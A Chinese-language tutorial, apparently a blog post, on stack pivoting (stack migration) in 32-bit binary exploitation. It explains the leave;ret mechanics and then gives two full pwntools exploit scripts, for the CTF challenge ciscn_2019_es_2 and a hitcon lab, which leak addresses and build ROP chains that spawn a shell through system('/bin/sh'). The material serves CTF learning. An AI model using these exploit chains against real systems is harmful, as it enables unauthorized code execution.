栈迁移

本文讨论的原理,都是针对于32位程序的栈迁移来说的,例题里面有一道是64位的栈迁移

1、什么是栈迁移

这里我谈谈自己的理解,简单一句话:栈迁移就是控制程序的执行流(这个换的地方既可以是bss段也可以是栈里面),此时新的问题随之产生,为什么要换个地方GetShell,这就是下一段要说的为什么要使用栈迁移。

2、为什么要使用栈迁移&&什么时候该使栈迁移(使用栈迁移的条件)

言简意赅的来说,就是可溢出的长度不够用,也就是说我们要么是没办法溢出到返回地址只能溢出覆盖ebp,要么是刚好溢出覆盖了返回地址但是受payload长度限制,没办法把参数给写到返回地址后面。总之呢,就是能够溢出的长度不够,没办法GetShell,所以我们才需要换一个地方GetShell。

使用栈迁移的条件:

  • 要能够溢出
  • 有个可写的地方(就是你要GetShell的地方),先考虑bss段,最后再考虑写到栈中
  • 可以控制sp寄存器

3、学习栈迁移需要自身掌握什么知识

  • 需要掌握汇编基础
  • 较为熟悉栈结构
  • 熟悉函数调用与结束时栈的变化。

如果掌握了这些知识,那么理解下面的内容就不会太费力气了。当然如果你会用gdb进行调试的话,通过自己的动手调试,你将理解的更为透彻。如果你和我当初一样,也是对栈迁移一无所知,那么希望你可以仔细阅读下面的内容,我会帮你彻底理解它。

4、栈迁移的原理

ebp和ebp的内容是两码事(它们二者的关系就如同c语言中,指针p与*p的关系),以下图为例
1
0e:0038│ ebp 0xffffd0c8 —▸ 0xffffd0d8 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 ◂— 0

ebp是0xffffd0c8,它的内容是0xffffd0d8,而这个内容也是一个地址,这个地址里面装的又是0xf7ffd020。ebp本身大部分时候都是一个地址(程序正常运行情况下),而ebp的内容可以是地址,也可以不是地址(程序正常运行下,ebp的内容也装的是地址,但如果你进行溢出的话,自然可以不装成地址)。我这里想强调的是ebp和ebp的内容这两者一定不能混为一谈,在阅读下面的内容是,一定要注意区分两者。

栈迁移的核心,就在于两次的leave;ret指令上面

leave指令即为mov esp ebp;pop ebp先将ebp赋给esp,此时esp与ebp位于了一个地址,你可以现在把它们指向的那个地址,即当成栈顶又可以当成是栈底。然后pop ebp,将栈顶的内容弹入ebp(此时栈顶的内容也就是ebp的内容,也就是说现在把ebp的内容赋给了ebp)。因为esp要时刻指向栈顶,既然栈顶的内容都弹走了,那么esp自然要往下挪一个内存单元。具体实现请见下图:

image-20241120213824271

ret指令为pop eip,这个指令就是把栈顶的内容弹进了eip(就是下一条指令执行的地址)具体实现请见下图:

2706180-20220118102755803-79970067

若这个ret_address为leave;retfake_frame为我们精心构造的栈帧,就可以实现将esp寄存器也迁移到我们精心构造的栈帧,从而实现get_shell等操作,具体实现请见下图:

image-20241120220941300

栈迁移的例题有以下几种:

攻防世界上的greeting-150

BUUCTF上的[Black Watch 入群题]

BUUCTF上的ciscn_2019_es_2

BUUCTF上的gyctf_2020_borrowstack

它们考察了在迁移到栈,迁移到bss段,从main函数结束时迁移,从main函数调用的函数结束时迁移,和64位的栈迁移以及ret2csu。

实践

ciscn_2019_es_2

拖入ida中反编译如下,32位只有NX保护:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int __cdecl main(int argc, const char **argv, const char **envp)
{
init();
puts("Welcome, my friend. What's your name?");
vul();
return 0;
}
int vul()
{
char s[40]; // [esp+0h] [ebp-28h] BYREF

memset(s, 0, 0x20u);
read(0, s, 0x30u);
printf("Hello, %s\n", s);
read(0, s, 0x30u);
return printf("Hello, %s\n", s);
}
int hack()
{
return system("echo flag");
}

大概思路就是,我们要用第一个read来泄露下ebp的地址**(因为是printf来打印字符串,参数是%s,因此是遇见00才停止打印,只要我们第一次read正好输入0x28个字符,那就没有地方在填上00了(read读入之后,会自动补充00),因此就可以把下面的ebp地址给打印出来了)**,然后第二个read用来填充我们构造的system函数以及参数(我们这次是转移到了栈中,也就是第一次read读入s的地方),

1
2
                   #bin_sh的指针         #填充够0x28 |  ebp    |    ret              
|system@plt|p32(0)|p32(buf+12)|/bin/sh\x00|\x00...|p32(buf-4)|p32(leave_ret)

参数分布参考上图

后面的p32(buf-4) + p32(leave) p32(buf-4) 是将ebp覆盖成buf的地址-4 为什么要-4?这是因为我们利用的是两个leave,但是第二个 leave的pop ebp,在出栈的时候会esp+4。就会指向esp+4的位置, p32(leave) ,将返回地址覆盖成leave 到这里,我们成功将栈劫持到了我们的buf处,接下来就会执行栈里的内容 完整exp见解题过程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
import time

context.terminal = ['tmux', 'splitw', '-h']
context(log_level='debug', arch='i386', os='linux')

file_name = './pwn'
if args['G']:
p = remote('node5.buuoj.cn',28649)
else:
p = process(file_name)
elf = ELF(file_name)
libc = elf.libc
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#gdb.attach(p)
s = lambda data :p.send(data)
sa = lambda delim, data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim, data :p.sendlineafter(delim, data)
r = lambda num=4096 :p.recv(num)
ru = lambda delims :p.recvuntil(delims)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
leak = lambda name, addr :log.success('{} = {:#x}'.format(name, addr))
lg = lambda address, data :log.success('%s: ' % (address) + hex(data))

leave_ret = 0x08048562

payload = b'a'*38 + b'b'*2
s(payload)
ru(b'aabb')
ebp = u32(p.recv(4))
lg("ebp",ebp)
sh = ebp-0x38+16
rop = flat([0,elf.plt['system'],0,sh,b'/bin',b'/sh\x00'])
payload = rop.ljust(0x28,b'\x00')
payload += p32(ebp-0x38) + p32(leave_ret)
s(payload)
itr()

hitcon lab

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
import time

#context.terminal = ['tmux', 'splitw', '-h']
#context(log_level='debug', arch='i386', os='linux')

file_name = './pwn'
if args['G']:
p = remote('192.168.6.128', 8888)
else:
p = process(file_name)
elf = ELF(file_name)
libc = elf.libc
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#gdb.attach(p)
s = lambda data :p.send(data)
sa = lambda delim, data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim, data :p.sendlineafter(delim, data)
r = lambda num=4096 :p.recv(num)
ru = lambda delims :p.recvuntil(delims)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
leak = lambda name, addr :log.success('{} = {:#x}'.format(name, addr))
lg = lambda address, data :log.success('%s: ' % (address) + hex(data))

buf = 0x804ae00
buf2 = buf+0x200
#这两个buf是data段靠后的那一块任取的
read_plt = elf.plt['read']
leave_ret = 0x08048504

payload = b'a'*40

rop = flat([buf,read_plt,leave_ret,0,buf,0x100])
payload += rop
s(payload)
time.sleep(0.1)
pop1ret = 0x0804836d
rop2 = flat([buf2,elf.plt['puts'],pop1ret,elf.got['puts'],read_plt,leave_ret,0,buf2,0x100])
sl(rop2)
print(p.recvline())
puts = u32(p.recvline().strip())
lg('puts',puts)
libc_base = puts - 0x732a0
lg('libc_base',libc_base)
system = libc_base + 0x48170
sh = buf2 + 16
gdb.attach(p)
rop3 = flat([buf,system,0,sh,b'/bin/sh\x00'])
sl(rop3)
itr()